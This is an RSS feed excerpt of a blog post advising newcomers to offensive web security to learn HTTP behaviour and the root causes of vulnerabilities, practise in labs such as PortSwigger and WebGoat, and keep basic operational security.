            <atom:updated>2026-01-05T18:18:37.470Z</atom:updated>
            <content:encoded><![CDATA[<p>In offensive security the ability to understand why systems break is more important than memorizing payloads. Real vulnerability research comes from spending time with protocols reading traffic and thinking through how applications actually behave under normal use. Tool driven testing alone rarely finds meaningful issues.</p><p>Protocols and application data flow</p><p>Every vulnerability sits somewhere inside HTTP. If you are not comfortable reading raw requests and responses exploitation becomes trial and error very fast. Understanding how methods headers cookies and sessions work together matters far more than knowing a long list of attacks.</p><p>Watching how data moves through an application is where most bugs reveal themselves. Parameters change meaning as they pass through frontend logic backend processing and storage layers. Once you see that flow clearly attack surfaces stop being hidden.</p><p>The PortSwigger Web Security Academy is worth spending real time on especially the labs. Not because of the payloads but because it forces you to think in terms of request behavior and application logic<br> <a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a></p><p>Vulnerability mechanics and root causes</p><p>Good findings come from understanding root causes not from triggering errors. The same vulnerability patterns appear across different stacks once you recognize why they happen.</p><p>SQL injection exists because applications build queries unsafely and trust user input in places they should not<br> <a href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a></p><p>Cross site scripting happens when output is rendered without proper context aware encoding<br> <a href="https://portswigger.net/web-security/cross-site-scripting">https://portswigger.net/web-security/cross-site-scripting</a></p><p>File inclusion issues usually come from treating file paths as data rather than code execution boundaries<br> <a href="https://portswigger.net/web-security/file-path-traversal">https://portswigger.net/web-security/file-path-traversal</a></p><p>When you focus on the underlying mistake you can transfer techniques between frameworks and languages instead of learning the same bug repeatedly.</p><p>Hands on testing methodology</p><p>Manual testing is where real understanding forms. Labs and vulnerable applications give you a controlled environment to break things without noise or pressure.</p><p>Good practice environments include<br> PortSwigger Labs<br> <a href="https://portswigger.net/web-security/all-labs">https://portswigger.net/web-security/all-labs</a></p><p>OWASP WebGoat<br> <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a></p><p>Hack The Box<br> <a href="https://www.hackthebox.com/">https://www.hackthebox.com</a></p><p>Burp Suite is still the most useful tool for web testing because it lets you slow things down and think<br> <a href="https://portswigger.net/burp">https://portswigger.net/burp</a></p><p>Repeater manual request edits and careful comparison of responses teach more than automated scans ever will. Tools should support reasoning not replace it.</p><p>Exploit development and automation</p><p>As you gain experience you naturally start building your own tooling. Automation is not about replacing thinking but about removing repetition.</p><p>Python is commonly used because it makes it easy to send requests parse responses and handle edge cases<br> <a href="https://docs.python.org/3/library/index.html">https://docs.python.org/3/library/index.html</a></p><p>JavaScript is important for understanding how browsers actually execute code and how client side logic can be abused<br> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript">https://developer.mozilla.org/en-US/docs/Web/JavaScript</a></p><p>Writing your own scripts forces you to understand how applications respond under different conditions. That feedback loop improves both detection and exploit reliability.</p><p>Operational security considerations</p><p>OPSEC mistakes end more research careers than technical mistakes. Testing environments should always be isolated and identities separated.</p><p>Basic practices include using VPNs responsibly<br> <a href="https://www.privacyguides.org/en/vpn/">https://www.privacyguides.org/en/vpn/</a></p><p>Understanding what Tor does and does not protect<br> <a href="https://support.torproject.org/">https://support.torproject.org</a></p><p>Keeping credentials logs and research data secured<br> <a href="https://owasp.org/www-project-top-ten/">https://owasp.org/www-project-top-ten/</a></p><p>Losing data or exposing identity can undo months of work regardless of skill level.</p><p>Final thoughts</p><p>Offensive security rewards depth over speed. Strong fundamentals in protocols application logic and manual testing create researchers who can adapt as technologies change.</p><p>Tools will evolve and techniques will shift but understanding how systems fail will always be the core skill.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5091704b53a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>